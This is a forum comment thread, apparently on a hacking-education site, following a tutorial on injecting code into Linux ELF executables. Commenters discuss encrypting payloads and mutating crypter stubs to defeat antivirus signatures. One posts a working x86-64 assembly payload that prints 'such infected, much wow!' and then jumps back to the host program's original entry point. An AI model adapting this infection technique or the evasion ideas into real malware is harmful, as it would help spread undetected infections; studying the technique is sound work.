Looks nice @0x00_Jinx. There a couple more techniques to inject payloads that may be added and make the module grow.
Nice. It would be awesome if we could make the module grow, and also have a way to obfuscate payloads so they are harder to find. If you have any experience in these subjects, let me know! I’m going to be researching ways to encrypt the payload then unencrypt when the program is ran, making the AV signature useless. Also, I added some error checking to the module, like a function to make sure it is a .elf file.
You would be referring to a Crypter, pico has actually done a tutorial on Linux Crypters here
You just need to watch out that they don’t fingerprint the stub, once they’ve done that encrypting the payload is useless.
@pry0cc is right the main problem is the stub… encoding the payload is easy, but the stub cannot be encoded and you need to make it… change to avoid detection. Sounds like a nice topic for a post
Brilliant. Great job. Have I reached 20 characters yet?
Wow, after an insane amount of research and coming back to this post I can finally make sense out of it. Brilliant post @0x00pf!
I might be a little late on that but I was reading through it again and I noticed that sentence. I think you mean string table instead of symbol table(?) Thus the “&shdr[elf_hdr->e_shstrndx];” and “shdr[i].sh_name” parts of your code which point to the string table section and the index into the section header string table section respectively.
Good catch @_py . I would like to say that it was in purpose to see if people was following the paper… but it was just a mistake
Sorry for necroposting, but as the current code didn’t work for me I thought I would add how I fixed it, in case anybody else comes here after me.
The payload, although running and passing flow over to
_main, made the kernel segfault. The reason being that the CPU state had been corrupted by the
syscall code. Saving the registers before and then restoring them after fixed it.
Also, I had to change the pattern being replaced by the original entry point, to be 8 bytes. When replacing the
0x11111111 pattern with
ep, the value is zero extended when casting to
elfi_mem_subst (d+p, p_text_sec->sh_size, 0x11111111, (long)ep);
My final payload:
section .text global _start _start: ;; save cpu state push rax push rdi push rsi push rdx ;; write msg to stdout mov rax,1 ;  - sys_write mov rdi,1 ; 0 = stdin / 1 = stdout / 2 = stderr lea rsi,[rel msg] ; pointer(mem address) to msg (*char) mov rdx, msg_end - msg ; msg size syscall ; calls the function stored in rax ;; restore cpu state pop rdx pop rsi pop rdi pop rax ;; jump to _main mov rax, 0x1111111111111111 ; address changed during injection jmp rax align 8 msg db 0x1b,'[31msuch infected, much wow!',0x1b,'[0m',0x0a,0 msg_end db 0x0
Sorry about the notification guys.
Really awesome tut, pico. Have my first contribution to 0x00sec
very interesting article, thank you !
This topic was automatically closed after 30 days. New replies are no longer allowed.